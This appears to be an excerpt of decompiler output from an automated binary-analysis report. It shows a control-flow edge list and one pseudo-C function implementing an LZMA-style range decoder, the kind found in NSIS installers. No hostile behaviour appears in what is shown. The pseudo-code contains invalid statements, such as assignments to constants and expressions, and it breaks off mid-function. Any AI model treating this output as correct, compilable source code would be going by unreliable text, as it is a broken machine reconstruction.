672->690 679 406ed6-406edc 673->679 680 406e29-406e2f 673->680 674->661 688 406c16-406c5c 674->688 691 406d2f-406d37 675->691 676->655 677->655 678->656 686 406f3a 679->686 687 406ede-406efc 679->687 680->649 680->686 681->655 682->665 693 406cc4-406cc8 683->693 684->655 686->671 694 406f14-406f26 687->694 695 406efe-406f12 687->695 696 406c84-406c86 688->696 697 406c5e-406c62 688->697 689->673 690->655 691->668 691->670 693->669 698 406cca-406cd0 693->698 701 406f29-406f33 694->701 695->701 704 406c94-406c9c 696->704 705 406c88-406c92 696->705 702 406c64-406c67 GlobalFree 697->702 703 406c6d-406c7b GlobalAlloc 697->703 699 406cd2-406cd9 698->699 700 406cfa-406d0c 698->700 706 406ce4-406cf4 GlobalAlloc 699->706 707 406cdb-406cde GlobalFree 699->707 700->691 701->679 708 406f35 701->708 702->703 703->661 709 406c81 703->709 704->693 705->704 705->705 706->661 706->700 707->706 711 407575-40757f 708->711 712 406ebb-406ed3 708->712 709->696 711->655 712->679
          C-Code - Quality: 98%
          			E00406D5F() {
          				unsigned short _t531;
          				signed int _t532;
          				void _t533;
          				void* _t534;
          				signed int _t535;
          				signed int _t565;
          				signed int _t568;
          				signed int _t590;
          				signed int* _t607;
          				void* _t614;
          
          				L0:
          				while(1) {
          					L0:
          					if( *(_t614 - 0x40) != 0) {
          						 *(_t614 - 0x34) = 1;
          						 *(_t614 - 0x84) = 7;
          						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
          						L132:
          						 *(_t614 - 0x54) = _t607;
          						L133:
          						_t531 =  *_t607;
          						_t590 = _t531 & 0x0000ffff;
          						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
          						if( *(_t614 - 0xc) >= _t565) {
          							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
          							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
          							 *(_t614 - 0x40) = 1;
          							_t532 = _t531 - (_t531 >> 5);
          							 *_t607 = _t532;
          						} else {
          							 *(_t614 - 0x10) = _t565;
          							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
          							 *_t607 = (0x800 - _t590 >> 5) + _t531;
          						}
          						if( *(_t614 - 0x10) >= 0x1000000) {
          							L139:
          							_t533 =  *(_t614 - 0x84);
          							L140:
          							 *(_t614 - 0x88) = _t533;
          							goto L1;
          						} else {
          							L137:
          							if( *(_t614 - 0x6c) == 0) {
          								 *(_t614 - 0x88) = 5;
          								goto L170;
          							}
          							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
          							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
          							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
          							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
          							goto L139;
          						}
          					} else {
          						__eax =  *(__ebp - 0x5c) & 0x000000ff;
          						__esi =  *(__ebp - 0x60);
          						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
          						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
          						__ecx =  *(__ebp - 0x3c);
          						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
          						__ecx =  *(__ebp - 4);
          						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
          						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
          						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          						if( *(__ebp - 0x38) >= 4) {
          							if( *(__ebp - 0x38) >= 0xa) {
          								_t97 = __ebp - 0x38;
          								 *_t97 =  *(__ebp - 0x38) - 6;
          							} else {
          								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
          							}
          						} else {
          							 *(__ebp - 0x38) = 0;
          						}
          						if( *(__ebp - 0x34) == __edx) {
          							__ebx = 0;
          							__ebx = 1;
          							L60:
          							__eax =  *(__ebp - 0x58);
          							__edx = __ebx + __ebx;
          							__ecx =  *(__ebp - 0x10);
          							__esi = __edx + __eax;
          							__ecx =  *(__ebp - 0x10) >> 0xb;
          							__ax =  *__esi;
          							 *(__ebp - 0x54) = __esi;
          							__edi = __ax & 0x0000ffff;
          							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          							if( *(__ebp - 0xc) >= __ecx) {
          								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          								__cx = __ax;
          								_t216 = __edx + 1; // 0x1
          								__ebx = _t216;
          								__cx = __ax >> 5;
          								 *__esi = __ax;
          							} else {
          								 *(__ebp - 0x10) = __ecx;
          								0x800 = 0x800 - __edi;
          								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          								__ebx = __ebx + __ebx;
          								 *__esi = __cx;
          							}
          							 *(__ebp - 0x44) = __ebx;
          							if( *(__ebp - 0x10) >= 0x1000000) {
          								L59:
          								if(__ebx >= 0x100) {
          									goto L54;
          								}
          								goto L60;
          							} else {
          								L57:
          								if( *(__ebp - 0x6c) == 0) {
          									 *(__ebp - 0x88) = 0xf;
          									goto L170;
          								}
          								__ecx =  *(__ebp - 0x70);
          								__eax =  *(__ebp - 0xc);
          								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          								_t202 = __ebp - 0x70;
          								 *_t202 =  *(__ebp - 0x70) + 1;
          								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          								goto L59;
          							}
          						} else {
          							__eax =  *(__ebp - 0x14);
          							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          							if(__eax >=  *(__ebp - 0x74)) {
          								__eax = __eax +  *(__ebp - 0x74);
          							}
          							__ecx =  *(__ebp - 8);
          							__ebx = 0;
          							__ebx = 1;
          							__al =  *((intOrPtr*)(__eax + __ecx));
          							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
          							L40:
          							__eax =  *(__ebp - 0x5b) & 0x000000ff;
          							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
          							__ecx =  *(__ebp - 0x58);
          							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
          							 *(__ebp - 0x48) = __eax;
          							__eax = __eax + 1;
          							__eax = __eax << 8;
          							__eax = __eax + __ebx;
          							__esi =  *(__ebp - 0x58) + __eax * 2;
          							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          							__ax =  *__esi;
          							 *(__ebp - 0x54) = __esi;
          							__edx = __ax & 0x0000ffff;
          							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
          							if( *(__ebp - 0xc) >= __ecx) {
          								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          								__cx = __ax;
          								 *(__ebp - 0x40) = 1;
          								__cx = __ax >> 5;
          								__ebx = __ebx + __ebx + 1;
          								 *__esi = __ax;
          							} else {
          								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
          								 *(__ebp - 0x10) = __ecx;
          								0x800 = 0x800 - __edx;
          								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
          								__ebx = __ebx + __ebx;
          								 *__esi = __cx;
          							}
          							 *(__ebp - 0x44) = __ebx;
          							if( *(__ebp - 0x10) >= 0x1000000) {
          								L38:
          								__eax =  *(__ebp - 0x40);
          								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
          									while(1) {
          										if(__ebx >= 0x100) {
          											break;
          										}
          										__eax =  *(__ebp - 0x58);
          										__edx = __ebx + __ebx;
          										__ecx =  *(__ebp - 0x10);
          										__esi = __edx + __eax;
          										__ecx =  *(__ebp - 0x10) >> 0xb;
          										__ax =  *__esi;
          										 *(__ebp - 0x54) = __esi;
          										__edi = __ax & 0x0000ffff;
          										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          										if( *(__ebp - 0xc) >= __ecx) {
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          											__cx = __ax;
          											_t169 = __edx + 1; // 0x1
          											__ebx = _t169;
          											__cx = __ax >> 5;
          											 *__esi = __ax;
          										} else {
          											 *(__ebp - 0x10) = __ecx;
          											0x800 = 0x800 - __edi;
          											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          											__ebx = __ebx + __ebx;
          											 *__esi = __cx;
          										}
          										 *(__ebp - 0x44) = __ebx;
          										if( *(__ebp - 0x10) < 0x1000000) {
          											L45:
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xe;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t155 = __ebp - 0x70;
          											 *_t155 =  *(__ebp - 0x70) + 1;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          										}
          									}
          									L53:
          									_t172 = __ebp - 0x34;
          									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
          									L54:
          									__al =  *(__ebp - 0x44);
          									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
          									L55:
          									if( *(__ebp - 0x64) == 0) {
          										 *(__ebp - 0x88) = 0x1a;
          										goto L170;
          									}
          									__ecx =  *(__ebp - 0x68);
          									__al =  *(__ebp - 0x5c);
          									__edx =  *(__ebp - 8);
          									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          									 *( *(__ebp - 0x68)) = __al;
          									__ecx =  *(__ebp - 0x14);
          									 *(__ecx +  *(__ebp - 8)) = __al;
          									__eax = __ecx + 1;
          									__edx = 0;
          									_t191 = __eax %  *(__ebp - 0x74);
          									__eax = __eax /  *(__ebp - 0x74);
          									__edx = _t191;
          									L79:
          									 *(__ebp - 0x14) = __edx;
          									L80:
          									 *(__ebp - 0x88) = 2;
          									goto L1;
          								}
          								if(__ebx >= 0x100) {
          									goto L53;
          								}
          								goto L40;
          							} else {
          								L36:
          								if( *(__ebp - 0x6c) == 0) {
          									 *(__ebp - 0x88) = 0xd;
          									L170:
          									_t568 = 0x22;
          									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
          									_t535 = 0;
          									L172:
          									return _t535;
          								}
          								__ecx =  *(__ebp - 0x70);
          								__eax =  *(__ebp - 0xc);
          								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          								_t121 = __ebp - 0x70;
          								 *_t121 =  *(__ebp - 0x70) + 1;
          								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          								goto L38;
          							}
          						}
          					}
          					L1:
          					_t534 =  *(_t614 - 0x88);
          					if(_t534 > 0x1c) {
          						L171:
          						_t535 = _t534 | 0xffffffff;
          						goto L172;
          					}
          					switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
          						case 0:
          							if( *(_t614 - 0x6c) == 0) {
          								goto L170;
          							}
          							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
          							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
          							_t534 =  *( *(_t614 - 0x70));
          							if(_t534 > 0xe1) {
          								goto L171;
          							}
          							_t538 = _t534 & 0x000000ff;
          							_push(0x2d);
          							asm("cdq");
          							_pop(_t570);
          							_push(9);
          							_pop(_t571);
          							_t610 = _t538 / _t570;
          							_t540 = _t538 % _t570 & 0x000000ff;
          							asm("cdq");
          							_t605 = _t540 % _t571 & 0x000000ff;
          							 *(_t614 - 0x3c) = _t605;
          							 *(_t614 - 0x1c) = (1 << _t610) - 1;
          							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
          							_t613 = (0x300 << _t605 + _t610) + 0x736;
          							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
          								L10:
          								if(_t613 == 0) {
          									L12:
          									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
          									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
          									goto L15;
          								} else {
          									goto L11;
          								}
          								do {
          									L11:
          									_t613 = _t613 - 1;
          									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
          								} while (_t613 != 0);
          								goto L12;
          							}
          							if( *(_t614 - 4) != 0) {
          								GlobalFree( *(_t614 - 4));
          							}
          							_t534 = GlobalAlloc(0x40, 0x600); // executed
          							 *(_t614 - 4) = _t534;
          							if(_t534 == 0) {
          								goto L171;
          							} else {
          								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
          								goto L10;
          							}
          						case 1:
          							L13:
          							__eflags =  *(_t614 - 0x6c);
          							if( *(_t614 - 0x6c) == 0) {
          								 *(_t614 - 0x88) = 1;
          								goto L170;
          							}
          							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
          							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
          							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
          							_t45 = _t614 - 0x48;
          							 *_t45 =  *(_t614 - 0x48) + 1;
          							__eflags =  *_t45;
          							L15:
          							if( *(_t614 - 0x48) < 4) {
          								goto L13;
          							}
          							_t546 =  *(_t614 - 0x40);
          							if(_t546 ==  *(_t614 - 0x74)) {
          								L20:
          								 *(_t614 - 0x48) = 5;
          								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
          								goto L23;
          							}
          							 *(_t614 - 0x74) = _t546;
          							if( *(_t614 - 8) != 0) {
          								GlobalFree( *(_t614 - 8));
          							}
          							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
          							 *(_t614 - 8) = _t534;
          							if(_t534 == 0) {
          								goto L171;
          							} else {
          								goto L20;
          							}
          						case 2:
          							L24:
          							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
          							 *(_t614 - 0x84) = 6;
          							 *(_t614 - 0x4c) = _t553;
          							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
          							goto L132;
          						case 3:
          							L21:
          							__eflags =  *(_t614 - 0x6c);
          							if( *(_t614 - 0x6c) == 0) {
          								 *(_t614 - 0x88) = 3;
          								goto L170;
          							}
          							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
          							_t67 = _t614 - 0x70;
          							 *_t67 =  &(( *(_t614 - 0x70))[1]);
          							__eflags =  *_t67;
          							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
          							L23:
          							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
          							if( *(_t614 - 0x48) != 0) {
          								goto L21;
          							}
          							goto L24;
          						case 4:
          							goto L133;
          						case 5:
          							goto L137;
          						case 6:
          							goto L0;
          						case 7:
          							__eflags =  *(__ebp - 0x40) - 1;
          							if( *(__ebp - 0x40) != 1) {
          								__eax =  *(__ebp - 0x24);
          								 *(__ebp - 0x80) = 0x16;
          								 *(__ebp - 0x20) =  *(__ebp - 0x24);
          								__eax =  *(__ebp - 0x28);
          								 *(__ebp - 0x24) =  *(__ebp - 0x28);
          								__eax =  *(__ebp - 0x2c);
          								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          								__eax = 0;
          								__eflags =  *(__ebp - 0x38) - 7;
          								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          								__al = __al & 0x000000fd;
          								__eax = (__eflags >= 0) - 1 + 0xa;
          								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
          								__eax =  *(__ebp - 4);
          								__eax =  *(__ebp - 4) + 0x664;
          								__eflags = __eax;
          								 *(__ebp - 0x58) = __eax;
          								goto L68;
          							}
          							__eax =  *(__ebp - 4);
          							__ecx =  *(__ebp - 0x38);
          							 *(__ebp - 0x84) = 8;
          							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
          							goto L132;
          						case 8:
          							__eflags =  *(__ebp - 0x40);
          							if( *(__ebp - 0x40) != 0) {
          								__eax =  *(__ebp - 4);
          								__ecx =  *(__ebp - 0x38);
          								 *(__ebp - 0x84) = 0xa;
          								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
          							} else {
          								__eax =  *(__ebp - 0x38);
          								__ecx =  *(__ebp - 4);
          								__eax =  *(__ebp - 0x38) + 0xf;
          								 *(__ebp - 0x84) = 9;
          								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
          								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
          							}
          							goto L132;
          						case 9:
          							__eflags =  *(__ebp - 0x40);
          							if( *(__ebp - 0x40) != 0) {
          								goto L89;
          							}
          							__eflags =  *(__ebp - 0x60);
          							if( *(__ebp - 0x60) == 0) {
          								goto L171;
          							}
          							__eax = 0;
          							__eflags =  *(__ebp - 0x38) - 7;
          							_t258 =  *(__ebp - 0x38) - 7 >= 0;
          							__eflags = _t258;
          							0 | _t258 = _t258 + _t258 + 9;
          							 *(__ebp - 0x38) = _t258 + _t258 + 9;
          							goto L75;
          						case 0xa:
          							__eflags =  *(__ebp - 0x40);
          							if( *(__ebp - 0x40) != 0) {
          								__eax =  *(__ebp - 4);
          								__ecx =  *(__ebp - 0x38);
          								 *(__ebp - 0x84) = 0xb;
          								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
          								goto L132;
          							}
          							__eax =  *(__ebp - 0x28);
          							goto L88;
          						case 0xb:
          							__eflags =  *(__ebp - 0x40);
          							if( *(__ebp - 0x40) != 0) {
          								__ecx =  *(__ebp - 0x24);
          								__eax =  *(__ebp - 0x20);
          								 *(__ebp - 0x20) =  *(__ebp - 0x24);
          							} else {
          								__eax =  *(__ebp - 0x24);
          							}
          							__ecx =  *(__ebp - 0x28);
          							 *(__ebp - 0x24) =  *(__ebp - 0x28);
          							L88:
          							__ecx =  *(__ebp - 0x2c);
          							 *(__ebp - 0x2c) = __eax;
          							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          							L89:
          							__eax =  *(__ebp - 4);
          							 *(__ebp - 0x80) = 0x15;
          							__eax =  *(__ebp - 4) + 0xa68;
          							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
          							goto L68;
          						case 0xc:
          							L99:
          							__eflags =  *(__ebp - 0x6c);
          							if( *(__ebp - 0x6c) == 0) {
          								 *(__ebp - 0x88) = 0xc;
          								goto L170;
          							}
          							__ecx =  *(__ebp - 0x70);
          							__eax =  *(__ebp - 0xc);
          							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          							_t334 = __ebp - 0x70;
          							 *_t334 =  *(__ebp - 0x70) + 1;
          							__eflags =  *_t334;
          							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          							__eax =  *(__ebp - 0x2c);
          							goto L101;
          						case 0xd:
          							goto L36;
          						case 0xe:
          							goto L45;
          						case 0xf:
          							goto L57;
          						case 0x10:
          							L109:
          							__eflags =  *(__ebp - 0x6c);
          							if( *(__ebp - 0x6c) == 0) {
          								 *(__ebp - 0x88) = 0x10;
          								goto L170;
          							}
          							__ecx =  *(__ebp - 0x70);
          							__eax =  *(__ebp - 0xc);
          							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          							_t365 = __ebp - 0x70;
          							 *_t365 =  *(__ebp - 0x70) + 1;
          							__eflags =  *_t365;
          							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          							goto L111;
          						case 0x11:
          							L68:
          							__esi =  *(__ebp - 0x58);
          							 *(__ebp - 0x84) = 0x12;
          							goto L132;
          						case 0x12:
          							__eflags =  *(__ebp - 0x40);
          							if( *(__ebp - 0x40) != 0) {
          								__eax =  *(__ebp - 0x58);
          								 *(__ebp - 0x84) = 0x13;
          								__esi =  *(__ebp - 0x58) + 2;
          								goto L132;
          							}
          							__eax =  *(__ebp - 0x4c);
          							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
          							__ecx =  *(__ebp - 0x58);
          							__eax =  *(__ebp - 0x4c) << 4;
          							__eflags = __eax;
          							__eax =  *(__ebp - 0x58) + __eax + 4;
          							goto L130;
          						case 0x13:
          							__eflags =  *(__ebp - 0x40);
          							if( *(__ebp - 0x40) != 0) {
          								_t469 = __ebp - 0x58;
          								 *_t469 =  *(__ebp - 0x58) + 0x204;
          								__eflags =  *_t469;
          								 *(__ebp - 0x30) = 0x10;
          								 *(__ebp - 0x40) = 8;
          								L144:
          								 *(__ebp - 0x7c) = 0x14;
          								goto L145;
          							}
          							__eax =  *(__ebp - 0x4c);
          							__ecx =  *(__ebp - 0x58);
          							__eax =  *(__ebp - 0x4c) << 4;
          							 *(__ebp - 0x30) = 8;
          							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
          							L130:
          							 *(__ebp - 0x58) = __eax;
          							 *(__ebp - 0x40) = 3;
          							goto L144;
          						case 0x14:
          							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
          							__eax =  *(__ebp - 0x80);
          							goto L140;
          						case 0x15:
          							__eax = 0;
          							__eflags =  *(__ebp - 0x38) - 7;
          							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          							__al = __al & 0x000000fd;
          							__eax = (__eflags >= 0) - 1 + 0xb;
          							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
          							goto L120;
          						case 0x16:
          							__eax =  *(__ebp - 0x30);
          							__eflags = __eax - 4;
          							if(__eax >= 4) {
          								_push(3);
          								_pop(__eax);
          							}
          							__ecx =  *(__ebp - 4);
          							 *(__ebp - 0x40) = 6;
          							__eax = __eax << 7;
          							 *(__ebp - 0x7c) = 0x19;
          							 *(__ebp - 0x58) = __eax;
          							goto L145;
          						case 0x17:
          							L145:
          							__eax =  *(__ebp - 0x40);
          							 *(__ebp - 0x50) = 1;
          							 *(__ebp - 0x48) =  *(__ebp - 0x40);
          							goto L149;
          						case 0x18:
          							L146:
          							__eflags =  *(__ebp - 0x6c);
          							if( *(__ebp - 0x6c) == 0) {
          								 *(__ebp - 0x88) = 0x18;
          								goto L170;
          							}
          							__ecx =  *(__ebp - 0x70);
          							__eax =  *(__ebp - 0xc);
          							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          							_t484 = __ebp - 0x70;
          							 *_t484 =  *(__ebp - 0x70) + 1;
          							__eflags =  *_t484;
          							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          							L148:
          							_t487 = __ebp - 0x48;
          							 *_t487 =  *(__ebp - 0x48) - 1;
          							__eflags =  *_t487;
          							L149:
          							__eflags =  *(__ebp - 0x48);
          							if( *(__ebp - 0x48) <= 0) {
          								__ecx =  *(__ebp - 0x40);
          								__ebx =  *(__ebp - 0x50);
          								0 = 1;
          								__eax = 1 << __cl;
          								__ebx =  *(__ebp - 0x50) - (1 << __cl);
          								__eax =  *(__ebp - 0x7c);
          								 *(__ebp - 0x44) = __ebx;
          								goto L140;
          							}
          							__eax =  *(__ebp - 0x50);
          							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          							__eax =  *(__ebp - 0x58);
          							__esi = __edx + __eax;
          							 *(__ebp - 0x54) = __esi;
          							__ax =  *__esi;
          							__edi = __ax & 0x0000ffff;
          							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          							__eflags =  *(__ebp - 0xc) - __ecx;
          							if( *(__ebp - 0xc) >= __ecx) {
          								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          								__cx = __ax;
          								__cx = __ax >> 5;
          								__eax = __eax - __ecx;
          								__edx = __edx + 1;
          								__eflags = __edx;
          								 *__esi = __ax;
          								 *(__ebp - 0x50) = __edx;
          							} else {
          								 *(__ebp - 0x10) = __ecx;
          								0x800 = 0x800 - __edi;
          								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          								 *__esi = __cx;
          							}
          							__eflags =  *(__ebp - 0x10) - 0x1000000;
          							if( *(__ebp - 0x10) >= 0x1000000) {
          								goto L148;
          							} else {
          								goto L146;
          							}
          						case 0x19:
          							__eflags = __ebx - 4;
          							if(__ebx < 4) {
          								 *(__ebp - 0x2c) = __ebx;
          								L119:
          								_t393 = __ebp - 0x2c;
          								 *_t393 =  *(__ebp - 0x2c) + 1;
          								__eflags =  *_t393;
          								L120:
          								__eax =  *(__ebp - 0x2c);
          								__eflags = __eax;
          								if(__eax == 0) {
          									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
          									goto L170;
          								}
          								__eflags = __eax -  *(__ebp - 0x60);
          								if(__eax >  *(__ebp - 0x60)) {
          									goto L171;
          								}
          								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
          								__eax =  *(__ebp - 0x30);
          								_t400 = __ebp - 0x60;
          								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
          								__eflags =  *_t400;
          								goto L123;
          							}
          							__ecx = __ebx;
          							__eax = __ebx;
          							__ecx = __ebx >> 1;
          							__eax = __ebx & 0x00000001;
          							__ecx = (__ebx >> 1) - 1;
          							__al = __al | 0x00000002;
          							__eax = (__ebx & 0x00000001) << __cl;
          							__eflags = __ebx - 0xe;
          							 *(__ebp - 0x2c) = __eax;
          							if(__ebx >= 0xe) {
          								__ebx = 0;
          								 *(__ebp - 0x48) = __ecx;
          								L102:
          								__eflags =  *(__ebp - 0x48);
          								if( *(__ebp - 0x48) <= 0) {
          									__eax = __eax + __ebx;
          									 *(__ebp - 0x40) = 4;
          									 *(__ebp - 0x2c) = __eax;
          									__eax =  *(__ebp - 4);
          									__eax =  *(__ebp - 4) + 0x644;
          									__eflags = __eax;
          									L108:
          									__ebx = 0;
          									 *(__ebp - 0x58) = __eax;
          									 *(__ebp - 0x50) = 1;
          									 *(__ebp - 0x44) = 0;
          									 *(__ebp - 0x48) = 0;
          									L112:
